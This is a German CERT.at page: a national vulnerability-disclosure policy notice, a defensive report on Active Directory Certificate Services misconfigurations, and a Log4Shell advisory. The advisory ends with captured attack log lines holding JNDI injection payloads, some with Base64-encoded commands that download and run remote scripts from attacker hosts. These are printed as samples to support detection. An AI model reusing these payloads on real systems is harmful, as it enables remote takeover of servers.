CERT.at - Spezielles

Nationale Policy für die koordinierte Offenlegung von Schwachstellen (CVD)

CERT.at — Fri, 09 May 2025 13:35:43 GMT+0100

Der Umgang mit Schwachstellen in IT Produkten und Dienstleistungen ist eine der spannenden Themen in der IT-Sicherheit. Seitens der Hersteller stellt sich die Frage, wie man am besten selbst Probleme identifiziert, wie man mit Meldungen von Dritten am besten umgeht, wie der Prozess zur Entwicklung von korrigierten Versionen aussieht und wie man diese neue Version schnell und effizient an die Kunden verteilt. Seitens der Finder (Researcher) stellen sich Fragen nach den rechtlichen Rahmenbedingungen für die Schwachstellensuche: was darf ich, was sicher nicht, und wie kommuniziere ich das Ergebnis am sinnvollsten?

Und auch für uns als nationales CERT ist CVD wichtig: in der NIS-2-Richtlinie (Artikel 12) legt die EU fest, dass jeder Mitgliedsstaat ein CSIRT als Koordinator für die Zwecke einer koordinierten Offenlegung von Schwachstellen benennen soll. Der für diese Aufgabe nötige Prozess sollte gesamtstaatlich festgelegt werden, denn in der nationalen Cybersicherheitsstrategie (Artikel 7) sollte auch ein „Konzept für das Vorgehen bei Schwachstellen, das die Förderung und Erleichterung der koordinierten Offenlegung von Schwachstellen nach Artikel 12 Absatz 1 umfasst“ enthalten sein.

Im Sommer 2024 wurde genau so eine nationale CVD-Policy für Österreich geschrieben: Der erste Entwurf wurde von BMI, BKA und BMJ mit Input von CERT.at geschrieben, danach wurde über die Cybersecurity Platform (CSP) Feedback aus der Community eingeholt. 2025 hat dann die Cybersicherheit-Steuerungsgruppe das Dokument formal bestätigt. Sie wird zukünftig auch auf nis.gv.at abrufbar sein – diese Seite ist derzeit gerade in der Übergabe zwischen BKA und BMI. Wir bekamen daher die Freigabe, die Policy über unsere Webseite zu veröffentlichen.

Noch gibt NIS2 in Österreich nicht, und wir wurden daher auch noch nicht offiziell als CVD-koordinierendes CSIRT in Österreich festgelegt, daher laufen unsere CVD-Aktivitäten weiterhin als Best-Effort Service. Wir haben auch noch keine spezielle Kontaktmöglichkeit für CVD-Fälle bei uns etabliert. Das wird dann kommen, wenn wir diese Rolle offiziell – und dann hoffentlich auch mit einer entsprechenden Finanzierung – übernehmen.

Download: 20241206_nationale CVD-Policy.pdf

Special Report: Die Tücken von Active Directory Certificate Services (AD CS)

CERT.at — Thu, 03 Feb 2022 16:07:38 GMT+0100

04. Februar 2022

Dokumenthistorie

Version	Datum	Beschreibung
1.0	04.02.2022 16:00	Initiale Fassung

TL;DR:

Active Directory Certificate Services (ADCS) ist anfällig für Fehlkonfigurationen, mit denen eine komplette Kompromittierung des Netzes trivial möglich ist.
Publiziert wurde das Problem im Sommer 2021, jetzt wird diese Methode bei APT-Angriffen benutzt.
Kontrollieren Sie mit den bereitgestellten Tools ihr Setup.
Stellen Sie mit den angeführten Präventiv-Maßnahmen höhere Sichtbarkeit her.
Überprüfen Sie mit den vorgestellen Tools, ob eine Fehlkonfiguration bereits ausgenutzt wurde.

Um einen schnellen Überblick über potenzielle verwundbare Konfigurationen zu bekommen, können Sie das PSPKI-Audit Tool nutzen.

Einführung

Active Directory Certificate Services (AD CS) heißt die Public Key Infrastructure (PKI) Implementierung von Microsoft für Active Directory (AD). Als solches, ist dieses eine zentrale Komponente in AD Umgebungen. Für ein Höchstmaß an Flexibilität und Sicherheit, setzt AD CS auf ein sehr umfangreiches Set an Konfigurationsmöglichkeiten. Die dadurch bedingte Komplexität kann sich bei unvorteilhaften Konfigurationen im Worst-Case jedoch soweit auswirken, dass einem sich bereits lokal befindlichen Angreifer Persistenz, Rechte-Eskalation und damit einhergehendes Lateral Movement, erheblich erleichtert wird.

Mitte 2021 wurden auf der Black Hat Sicherheitskonferenz diverse derartige Fehlkonfigurationen und darauf basierende Angriffe auf AD CS vorgestellt.

Dringlichkeit!

Schon damals wurde von den Sicherheitsforschern die Vermutung aufgestellt, dass aufgrund erwähnter Komplexität, das Potential an fehlkonfigurierten und dementsprechend "verwundbaren" AD CS-Instanzen als äußerst hoch einzustufen sei. In dieser Hinsicht wurden zuletzt Erfahrungswerte und Berichte aus der Pentest Community laut, die diese Vermutungen nun bestätigen. Dieser Angriffsansatz gehörte laut deren Aussage mittlerweile zum fixen Arsenal und sei so gut wie immer erfolgreich.

Darüber hinaus wurden kürzlich auch größere Angriffe evident, die auf die aktive Ausnützung von dieser speziellen Thematik zurückzuführen sind.

Dieses Special

Orientierend an dem originalen Whitepaper der Sicherheitsforscher, soll dieses Special das Wesen und die Relevanz dieser Thematik näher aus Sicht des Verteidigers/Betreibers von AD CS beleuchten, einen Einblick in richtige bzw. nicht verwundbare Konfigurationen darlegen und darüber hinaus auch Herangehensweisen zur Detektion bereits erfolgter Angriffe aufzeigen.

Hintergrund

AD CS lässt sich, abseits von entsprechend notwendigen Protokollen, grundsätzlich als eine Art Container verstehen. Ein Container für Zertifikate, Zertifikatsanfragen, aber auch sogenannte Zertifikatstemplates.

Quelle: https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

Jedes Zertifikat wird üblicherweise für einen speziellen Zweck eingesetzt - zum Beispiel als Basis für TLS, als Logon Credential oder für Code-Signing. Tatsächlich gibt es eine ganze Liste an derartigen Einsatzzwecken, die nebenbei auch kombiniert werden können. Darüber hinaus gibt es auch noch den generischen Verwendungszweck "any purpose" über den ein solches Zertifikat auf jedwede Art zum Einsatz kommen kann. Wofür ein Zertifikat letzten Endes eingesetzt werden kann, ergibt sich aus dessen Konfiguration, die für sich gesehen recht komplex sein kann. Hier kommen die bereits namentlich erwähnten Zertifikatstemplates (Zertifikatsvorlagen) ins Spiel. Diese fungieren als Blaupausen für die im betreffenden Infrastrukturumfeld klassischerweise benötigten Zertifikate, anhand deren neue Zertifikate abgeleitet werden können.

Die Entstehung eines neuen Zertifikates folgt einem speziellen mehrstufigen Prozess, auch Certificate Enrollment genannt. Kernaspekt dieses Prozesses ist der Certificate Signing Request (CSR), der an die Enterprise CA geschickt wird und alle wichtigen Parameter, darunter auch das zu verwendende Zertifikatstemplate und das Bindungssubjekt (z.B. bei TLS die Domain), enthält. Die CA prüft und verifiziert die Anfrage hinsichtlich Zulässigkeit, erzeugt im positiven Falle das neu zu erstellende Zertifikatsobjekt, signiert es und retourniert es an den Antragsteller.

Quelle: https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

Je nach Konfiguration des Templates, erlaubt dieses über Subject Alternative Names (SANs) auch die Angabe von alternativen Bindungssubjekten, also Aliases. Dieses Feature findet klassischerweise bei Multi-Domain TLS Zertifikaten Verwendung.

Das eigentliche Problem

Das eigentliche, von den Sicherheitsforschern aufgezeigte Problem, ist keine Verwundbarkeit im klassischen Sinne, sondern vielmehr ungünstige Kombinationen von Konfigurationsparametern in besagten Zertifikatstemplates, aufgrund derer im Worst-Case Zertifikatsanträge sehr freizügig bzw. uneingeschränkt gemacht werden können. Da für den generellen Zertifikatsantrag keine erhöhten Rechte auf Seiten des Antragstellers von Nöten sind, stellt dieses Szenario eine äußerst attraktive Methode für Angreifer dar, an erhöhte Rechte zu gelangen.

Abseits des Rechteeskalationsszenarios haben die Sicherheitsforscher aber auch noch andere Angriffsmöglichkeiten aufgezeigt. In ihrem Whitepaper thematisieren Sie eine Liste an möglichen und praktisch erprobten Angriffsszenarien, die sie mit einem eigens geschaffenen Namensschema in die entsprechenden Kategorien THEFTn (Datendiebstahl), PERSISTn/DPERSISTn (Persistenz) und ESCn (Rechteeskalation) gliedern. Hier eine Gesamtübersicht über das offensive Ausmaß ...

Offensive Technique ID	Description
THEFT1	Exporting certificates and their private keys using Window's Crypto APIs
THEFT2	Extracting user certificates and private keys using DPAPI
THEFT3	Extracting machine certificates and private keys using DPAPI
THEFT4	Theft of existing certificates via file/directory triage
THEFT5	Using the Kerberos PKINIT protocol to retrieve an account's NTLM hash
PERSIST1	Account persistence via requests for new authentication certificates for a user
PERSIST2	Account persistence via requests for new authentication certificates for a computer
PERSIST3	Account persistence via renewal of authentication certificates for a user/computer
ESC1	Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
ESC2	Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU orno EKU
ESC3	Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions
ESC4	Domain escalation via misconfigured certificate template access control
ESC5	Domain escalation via vulnerable PKI AD Object Access Control
ESC6	Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
ESC7	Vulnerable Certificate Authority Access Control
ESC8	NTLM Relay to AD CS HTTP Endpoints
DPERSIST1	Domain persistence via certificate forgery with stolen CA private keys
DPERSIST2	Domain persistence via certificate forgery from maliciously added root/intermediate/NTAuth CA certificates
DPERSIST3	Domain persistence via malicious misconfigurations that can later cause a domain escalation

Was nun?

Da AD CS eine zentrale Komponente in AD-Umgebungen darstellt empfiehlt es sich, diese Server-Rolle entsprechend abzusichern.

Neben der Vielzahl an Angriffsszenarien haben die Sicherheitsforscher auch defensive und detektive Ansätze erarbeitet, auf die in den nächsten Abschnitten eingegangen wird.

Darüber hinaus bieten sich diverse Guides von Microsoft zum Baseline-Hardening von AD CS an:

Detektion

Zur Detektion der Ausnutzung diverser Fehlkonfigurationen in AD CS haben Systemadministratoren, je nach Angriffsklasse, unterschiedliche Indikatoren auf die bewusst geachtet werden sollte.

Zertifikate überwachen

Beispielsweise löst das Generieren eines neues Zertifikats, respektive das Anfordern eines solchen, zwei Events im Windows-Event-Log aus ( Event-ID 4887: AD CS Zertifikatsausstellung, Event-ID 4886: AD CS - CSR empfangen). Diese beiden Events werden aufeinander folgend ausgelöst und enthalten den Hostnamen des anfragenden Systems sowie den Zeitpunkt der Zertifikatserstellung. Zusätzlich lassen sich weitere Informationen direkt auf dem AD CS System, aus der Zertifikatsdatenbank abfragen. Dadurch kann neben dem Prozess-Namen des anfragenden Hosts auch festgestellt werden, ob das angeforderte Zertifikat Subject Alternative Names (SANs) enthielt und welche Zertifikatsvorlage zur Erstellung des Zertifikats genutzt wurde.

Nutzen Sie dazu den Befehl certutil.exe -v -view.

Mithilfe des -restrict-Parameters lässt sich die Suchanfrage zusätzlich einschränken/granular filtern.

Zertifikatsauthentifizerungen überwachen

Schannel und Kerberos stellen zwei Authentifizierungsmechanismen dar, die in AD-Umgebungen in verschiedensten Konfigurationen verfügbar sind. Eine Authentifizierung mithilfe eines Zertifikats löst im Fall einer Kerberos-Authentifizierung im Windows Event-Log die Event-ID 4768 (Kerberos Authentication Ticket requested TGT) aus. Ob eine Fehlkonfiguration ausgenutzt wurde, lässt sich beispielweise durch den Vergleich einer Liste bekannter Seriennummern der Zertifikate ("known goods") mit den im Event-Log enthaltenen Seriennummern feststellen. Auch Schannel-Authentifizerungen lassen sich über den Windows-Log auditieren - sie lösen drei aufeinander folgende Event-IDs aus:

1. 4769 “A Kerberos service ticket was requested”
2. 4648 “A logon was attempted using explicit credentials”
3. 4624 “An account successfully logged on”

CA Backup-Events überwachen

Die beschriebenen Fehlkonfigurationen können unter anderem zum vollständigen Verlust der Integrität der betriebenen CA führen. Dies kann durch CA Backups geschehen, welche ein Angreifer aufgrund bereits durchgeführter Privilege Escalation anstoßen kann. Ein vollständiges CA Backup löst im Windows-Event-Log bei Beginn des Sicherungsprozesses die Event-ID 4876 aus, respektive nach erfolgreicher Fertigstellung die Event-ID 4877. Versucht ein Angreifer lediglich das CA-Zertifikat und den dazugehörigen Private Key zu exportieren, werden diese Events nicht ausgelöst. Da ein Exportieren des CA-Zertifikats und des Private Keys jedoch andere Event-Logs auslösen, lässt sich auch dieser Vorgang überwachen (Event-IDs: 5058 - Key File Operation, 5061 - Cryptographic operation, 5059 - Key migration operation).

Zertifikatsvorlagen überwachen

Ein signifikanter Teil der Probleme in AD CS wird durch Zertifikatsvorlagen ausgelöst, dementsprechend sollten diverse Überwachungsmechanismen für die genutzten Vorlagen gesetzt werden. Beispielsweise können Änderungen einer Vorlage, beziehungsweise Änderungen an deren Berechtigungen, über die Event-IDs 4899 (Vorlage wurde geändert) und 4900 (Cert Permissions wurden geändert) nachvollzogen werden. Dieser Detektionsmechanismus eignet sich jedoch nicht zur Echtzeit-Erkennung, da diese Events nur auf dem jeweils genutzten AD CS Host ausgelöst werden. Eine granularere Überwachung lässt sich mithilfe von System Access Control Lists (SACLs) umsetzen, indem diese auf die genutzten Template-Vorlagen angewendet werden, wodurch bei Veränderungen dieses Objekts die Event-ID 4662 ("Operation on an object was performed") mitgeloggt wird.

DPAPI Detektionen

Die Data Protection API (DPAPI) stellt eine Windows-Komponente dar, welche zum Schutz diverser, meistens kryptographischer, Daten genutzt werden kann. Beim Auslesen solcher Dateien entstehen jedoch Artefakte, welche zur Detektion von missbräuchlicher Nutzung der DPAPI herangezogen werden können. Dies kann entweder über maßgeschneiderte SACLs passieren, oder über die integrierte Audit-Funktionalität.

Köderzertifikate

Eine weitere Möglichkeit, die missbräuchliche Nutzung von Zertifikaten in AD-Umgebungen zu erkennen, besteht im Erstellen eines "Köder-Zertifikats". Hierbei wird ein legitimer Benutzer-Account inklusive eines Authentifizierungs-Zertifikats erstellt, welches anschließend als Köder auf einem Netzwerklaufwerk oder an diversen Systempfaden abgelegt wird. Versucht ein Angreifer dieses Zertifikat zur Authentifizierung zu nutzen, alarmiert eine zusätzlich angelegte SACL über die Nutzung des Zertifikats (vgl. Canary-Tokens).

Konfigurationsänderungen überwachen

Während einige der Detektions-Mechanismen auf der Nutzung diverser Zertifikate oder speziellen Logs aufbauen, empfiehlt es sich ebenfalls Änderungen an der AD CS-Komponente selbst zu überwachen. Die Event-IDs 4890 und 4892 werden genutzt, um Einstellungsänderungen in AD CS zu loggen. Event-ID 4882 protokolliert Modifikationen in AD CS zugehörigen ACLs.

Prävention

Die vorangegangen Abschnitte haben die Detektion und Ausnutzung der beschriebenen Fehlkonfigurationen behandelt. Es lassen sich jedoch auch präventive Maßnahmen setzen, um die Ausnutzung der beschriebenen Fehlkonfigurationen zu verhindern.

Admin-Tiering

Als grundsätzliche Maßnahme empfiehlt es sich, AD CS-Komponenten hinsichtlich ihrer Kritikalität exakt wie Domain Controller in einer AD Umgebung einzustufen. Hierzu zählen auch sogenannte "subordinate" oder Intermediate-CAs. Weitere Details bezüglich Fehlkonfigurationen lassen sich aus dem Whitepaper entnehmen. Die Umsetzung liefert der durch Microsoft bereitgestellte "Tiering-Guide".

Hardening: AD CS

Im vorliegenden Fall wird durch das Fälschen des SANs, im Zuge der Erstellung einer CSR, eine Rechteausweitung erreicht. Ist es für den Betrieb einer Domäne nicht erforderlich, das eigenständige Definieren des SANs zuzulassen, sollte diese Funktionalität deaktiviert werden (ist dies nicht umsetzbar, sollte das "Manager Approval"-Feature aktiviert werden; dadurch müssen erstellte Zertifikate vor der Nutzung dezidiert zugelassen werden). Dies kann entweder durch das präventive Setzen des SANs im Zertifikatstemplate erreicht, oder mithilfe dem EDITF_ATTRIBUTESUBJECTALTNAME2-Flag komponentenübergreifend umgesetzt werden (Anmerkung: Nutzen Sie hierzu das Kommando certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2). Eine weitere Hardening-Maßnahme stellt das Entfernen der "Enroll"-Berechtigungen dar, die benötigt werden, um von AD CS Zertifikate anzufordern.

Zertifikatsvorlagen regelmäßig sichten

Das Auditieren der momentan im Einsatz befindlichen Zertifikatsvorlagen stellt eine simple Maßnahme dar, welche regelmäßig durchgeführt werden sollte. Falls im Zuge des Audits ungenutzte Vorlagen identifiziert werden, sollten diese gelöscht werden. Eine Liste sämtlicher Vorlagen lässt sich mithilfe des Kommandos certutil.exe -TCAInfo [DC=COMPANY,DC=COM] abrufen/erzeugen.

Hardening: Zertifikatsvorlagen

Eine weitere Maßnahme, um eine Ausnutzung diverser Fehlkonfigurationen zu verhindern, befindet sich in den "Write"-Berechtigungen von Zertifikats-Templates. Wer diese Berechtigungen besitzt, kann Änderungen an Vorlagen vornehmen, welche eine Rechteausweitung erlauben. Zusätzlich empfiehlt es sich, den Abschnitt "Controlling Users added SANs" aus der Hardening-Guideline zu AD CS zu beherzigen.

AD-Objekt "NTAuthCertificates"

Über das AD-Objekt NTAuthCertificates wird gesteuert, welche CA-Zertifikate der AD CS-Komponente genutzt werden, um CSRs zu signieren die eine Domain-Authentifzierung ermöglichen. Mithilfe des Kommandos certutil -viewstore "ldap:///CN=NtAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=?cACertificate?base?objectclass=certificationAuthority" lassen sich die zugeordneten Zertifikate auflisten. Sollte eine Smart-Card oder Zertifikats-basierte Authentifizierung in einer Domäne nicht benötigt werden, können sämtliche Zertifikate aus dem NTAuthCertificates-AD-Objekt entfernt werden (Anmerkung: Führen Sie hierzu das Kommando certutil -viewdelstore "ldap:///CN=NtAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=?cACertificate?base?objectclass=certificationAuthority" mit erhöhten Rechten aus).

Hardening: Private-Keys

Grundsätzlich empfiehlt es sich, kryptografisches Material durch sogenannte Hardware-Security-Modules (HSM) zu schützen, anstatt auf die DPAPI zurückzugreifen. AD CS stellt zusätzlich die Sicherheitsoption "TPM-Attestation" zur Verfügung, womit die Nutzung von Zertifikaten, welche nicht durch ein HSM gesichert sind, vollständig unterbunden wird.

Strikte Benutzerzuordnung

Die Rechteausweitung mithilfe der Manipulation des SANs entsteht durch die Annahme, dass der SAN einer CSR den UserPrincipalName (UPN) des anfragenden AD-Objekts enthält. AD CS kann jedoch darauf konfiguriert werden, dieses explizite Mapping nicht vorzunehmen. Dazu muss auf jedem DC der Domäne der Registry-Key UseSubjectAltNames=0 (DWORD) im Pfad HKLM\SYSTEM\CurrentControlSet\Services\Kdc gesetzt werden. Die Umsetzung dieser Maßnahme führt jedoch auch dazu, dass eine Authentifizierung via Zertifikat über Kerberos nicht mehr möglich ist (vgl. "Error 75 - KDC_ERR_CLIENT_NAME_MISMATCH"). Parallel dazu lassen sich Zertifikats-Authentifizierungen via Schannel ebenfalls blockieren (Setzen des Registry-Keys CertificateMappingMethods=0x1 oder CertificateMappingMethods=0x2 im Verzeichnis HKLM\CurrentControlSet\Control\SecurityProviders\SCHANNEL).

Hardening: AD CS Http-Endpunkte

Einige der beschriebenen Fehlkonfigurationen lassen sich über die durch AD CS zur Verfügung gestellten HTTP-Endpunkte ausnutzen, welche per Standardeinstellung aktiviert sind. Da diese Endpunkte durch einen IIS-Webserver bereitgestellt werden, lassen sich auch dessen Logs für weitere Analysen heranziehen (standardmäßig zu finden unter C:\inetpub\logs\LogFiles\). Werden diese nicht benötigt, empfiehlt sich das vollständige Deaktivieren der HTTP-Endpunkte (sollte dies nicht umsetzbar sein, kann die Nutzung von HTTPS für AD CS erzwungen werden, wodurch die Verbindung zwischen AD CS und einem System zusätzlich abgesichert werden kann).

Zusätzliche Resourcen

Im Artikel führt CERT.at bewusst lediglich Kommandos an, welche nativ unter Windows verfügbar sind. Die Autoren der Studie verweisen jedoch zusätzlich auf Tools, welche frei auf Github verfügbar sind:

Das PSPKIAudit-Tool kann genutzt werden, um die angeführten Fehlkonfigurationen in eigenen AD-Umgebungen teilweise automatisiert zu testen. Die beiden Tools Certify und ForgeCert setzen auf der offensiven Seite an und ermöglichen das Ausnutzen diverser Fehlkonfigurationen über präparierte Zertifikate und CSRs.

Informationsquelle(n):

Disclaimer

Die hier angeführten Skripte und Lösungen wurden seitens CERT.at getestet. Dennoch liegt die alleinige Verantwortung der Nutzung der hier angeführten Informationen beim Nutzer/Nutzerin. Jegliche Haftung der CERT.at ist explizit ausgeschlossen.

Special Report: Empfehlungen zu Log4Shell

CERT.at — Tue, 14 Dec 2021 16:53:56 GMT+0100

14. Dezember 2021

Dokumenthistorie

Version	Datum	Beschreibung
1.0	14.12.2021 17:30	Initiale Fassung
1.1	15.12.2021 12:00	veraltete Mitigations entfernt
1.2	15.12.2021 17:00	weitere Mitigations
1.3	23.12.2021 14:45	CVE(s) ergänzt, Aktualisierung der gefixten Versionen
1.4	29.12.2021 12:10	CVE ergänzt, Aktualisierung der gefixten Versionen, weitere Sampledaten

Allgemeines

In einer weit verbreiteten Java-Bibliothek (log4j) existiert eine kritische Schwachstelle, auch "Log4Shell" genannt, welche im Worst-Case die vollständige Übernahme des betroffenen Systems ermöglicht. "Weit verbreitet" bedeutet in diesem Fall eine große Anzahl an unterschiedlicher Software und Appliances welche auf den ersten Blick nichts mit JAVA zu tun haben müssen. Die Version 2.16.0 behebt das Problem und ist bereits verfügbar. Lesen Sie hierzu auch unsere separate Warnung welche laufend aktualisiert wird. Zusätzlich werden externe Scans ausgewertet, und betroffene Unternehmen durch uns kontaktiert.

Update: 23. Dezember 2021

Nach Behebung der ursprünglichen Schwachstelle CVE-2021-44228 mit Log4j Version 2.15, stellte sich heraus, dass dieser Fix nur unzureichend war und Version 2.15 für die neu entdeckte Schwachstelle CVE-2021-45046 verwundbar ist. Inital als DoS klassifiziert, wurde diese Sicherheitslücke zur RCE mit einem CVSS Score von 9.0 hochgestuft. Log4j Version 2.16 behebt zwar auch dieses Problem, ist jedoch wiederum für die kurz nach Veröffentlichung des Updates gefundene Schwachstelle CVE-2021-45105 (CVSS Score 7.5) anfällig. Das erfolgreiche Ausnützen dieser Sicherheitslücke führt mittels eines rekursiven Lookups zu einem Denial-of-Service Zustand und einer Terminierung der Anwendung.

Update: 29. Dezember 2021

Nach mehreren Patches für die ursprünglich angreifbare Log4j-Version (2.14) ist es einem Sicherheitsforscher nun gelungen, auch die aktuellste Version (2.17) anzugreifen. Die Komplexität des Angriffs ist allerdings signifkant höher und erfordert als Grundvorraussetzung Konfigurationen, die nicht in den Standardeinstellungen vorgesehen sind. Eine Angreifer:in mit Zugriff auf die Konfigurationsdateien für Log4j kann diese präparieren, um Log4j dazu zu bringen, einen JDBC-Adapter zu nutzen, um Ressourcen via JNDI nachzuladen.

Detektion

Um ihre Systeme auf betroffene Java-Komponenten auf Dateisystem-Ebene zu untersuchen, empfiehlt CERT.at den durch Logpresso bereitgestellten Scanner. Der Scanner steht sowohl als ausführbares Programm, als auch zum selber Kompilieren bereit. Netzwerkadministratoren, welche eine Flotte an Systemen über das Netzwerk testen möchten, können auf den Scanner von fullhunt.io zurückgreifen. Dieser Scanner verwendet im Backend Interactsh, welches selber betrieben werden kann.

Mitigationen

Aus der Branche haben wir von folgenden Mitigationen berichtet bekommen, welche zum Teil erfolgreich eingesetzt werden konnten:

Patchen, Patchen, Patchen!

Zum jetzigen Zeitpunkt ist ein Update der log4j-Bibliothek die nachhaltigste Mitigation. Neben neuen Standard-Einstellungen, welche dazu führen, dass frische Neu-Installationen nicht verwundbar sind, wurden auch weitere Probleme im Bezug auf JNDI-Lookups behoben. In Version 2.16.0 werden JNDI-Lookups standardmäßig nur auf localhost durchgeführt.

Update: 23. Dezember 2021

Laut den aktualisierten Patch Notes von Apache, sind die Sicherheitslücken CVE-2021-45046 und CVE-2021-45105 in den folgenden Versionen behoben:

CVE-2021-45046 (RCE): Log4j 2.16.0 (Java 8) und Log4j 2.12.2 (Java 7)
CVE-2021-45105 (DoS): Log4j 2.17.0 (Java 8), 2.12.3 (Java 7) und 2.3.1 (Java 6)

JNDI deaktivieren

Über das Integrieren einer leeren JndiLookup-Klasse kann das Auflösen sämtlicher JNDI-Direktiven unterbunden werden. Die Vorgehensweise hierzu, sowie die benötigten Class-Files, aus folgendem Repo können als Vorlage für eine eigene Umsetzung dienen. Der Patch gibt leere JNDI-Lookups zurück, womit Log4j2 umgehen kann.

Verwenden Sie niemals Code aus unbekannten Quellen, ohne diesen selber zu verstehen und gesichtet zu haben!

Blockieren von ausgehendem Traffic

Um im Falle eines erfolgreichen Angriffs das Nachladen von Schadsoftware zu verhindern, können Netzwerkverbindungen in ausgehender Richtung auf der Firewall blockiert werden. In manchen Fällen kann dies dazu führen, dass die Funktionalität des Systems beeinträchtigt wird - wo möglich empfehlen wir jedoch diese Maßnahme als zusätzlichen Schutz umzusetzen. Eine DENY ANY ANY-Regel auf Firewall-Ebene wird vorallem in Server-Netzwerken als Best-Practice erachtet und ist, falls nicht bereits implementiert, empfehlenswert. Je nach Hersteller und Produkt gestaltet sich die Umsetzung unterschiedlich.

Das Blockieren von ausgehendem Netzwerk-Traffic betroffener Systeme, kann Angriffe erschweren - es ist jedoch davon auszugehen das diese Mitigation keine nachhaltige Problembehebung darstellt. Zusätzliche Mechanismen zur Sicherung des eigenen Netzwerkes sind jedoch grundsätzlich empfehlenswert.

Vulnerable log4j-core-.jar/.war/*.ear repackagen

Diese Mitigation wird für log4j Versionen vor 2.10.0 2.16.0 benötigt, da andere Mitigationen wie das Setzen von Umgebungsvariablen, oder Startparametern erst ab Version 2.10.0 und höher Abhilfe schaffen , wenn nicht gepatcht werden kann.

.jar/.war/.ear-File entpacken
Entfernen der Komponente JndiLookup.class
Erneutes Packen der verbleibenden Komponenten

Achtung: Diese Mitigation verursacht unter Umständen Fehler in der betriebenen Applikation, da Komponenten aus dem zugehörigen .jar-File entfernt wurden (java.lang.ClassNotFoundException)

JVM-Startparameter

Wenn die betriebene Applikation betroffen ist, und momentan nicht durch Patches repariert werden kann, ist es möglich die JVM mit folgendem Parameter zu starten, um das Auflösen von ${jndi://...}-Direktiven zu verhindern: java -Dlog4j2.formatMsgNoLookups=true

Umgebungsvariablen

Das Auflösen von JNDI-Direktiven kann auch über das Setzen folgender Umgebungsvariable ebenfalls unterbunden werden: LOG4J_FORMAT_MSG_NO_LOOKUPS=true Diese Variable muss in der Umgebung gesetzt werden, welche durch die JVM genutzt wird.

Update: 29. Dezember 2021

Laut den aktualisierten Patch Notes von Apache, ist die Sicherheitslücke CVE-2021-44832 in den folgenden Versionen behoben:

Log4j 2.3.2 (Java 6), 2.12.4 (Java 7), und 2.17.1 (Java 8 und höher)

Live-Artefakte

Folgende, anonymisierte Auszüge eines Log-Files wurden uns zugespielt. So könnte ein Angriff auf ihrem System in den Log-Files aussehen:

185.220.100.255 - - [10/Dec/2021:14:50:33 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://46acb4a3635f.bingsearchlib.com:39356/a}"
45.155.205.233 - - [10/Dec/2021:15:23:34 +0100] "GET / HTTP/1.1" 200 10004 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
157.245.109.75 - - [10/Dec/2021:17:13:54 +0100] "GET / HTTP/1.1" 200 10220 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
157.245.109.75 - - [10/Dec/2021:17:13:55 +0100] "GET /favicon.ico HTTP/1.1" 404 521 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
45.155.205.233 - - [10/Dec/2021:19:49:58 +0100] "GET / HTTP/1.1" 200 10004 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
188.166.122.43 - - [10/Dec/2021:21:01:44 +0100] "GET / HTTP/1.1" 200 10240 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
188.166.122.43 - - [10/Dec/2021:21:01:44 +0100] "GET / HTTP/1.1" 301 572 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
188.166.122.43 - - [10/Dec/2021:21:01:45 +0100] "GET /favicon.ico HTTP/1.1" 404 523 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
167.71.13.196 - - [10/Dec/2021:22:02:18 +0100] "GET /$%7Bjndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b%7D?${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b}=${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b} HTTP/1.1" 404 5031 "-" "${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b}"
188.166.48.55 - - [11/Dec/2021:01:37:29 +0100] "GET / HTTP/1.1" 301 572 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}"
188.166.48.55 - - [11/Dec/2021:01:37:30 +0100] "GET / HTTP/1.1" 200 10240 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}"
188.166.48.55 - - [11/Dec/2021:01:37:31 +0100] "GET /favicon.ico HTTP/1.1" 404 523 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}"
45.137.21.9 - - [11/Dec/2021:03:36:47 +0100] "POST / HTTP/1.1" 301 535 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
47.102.199.233 - - [11/Dec/2021:11:19:43 +0100] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 5196 "-" "curl/7.58.0"
157.230.32.67 - - [11/Dec/2021:17:20:26 +0100] "GET / HTTP/1.1" 301 572 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
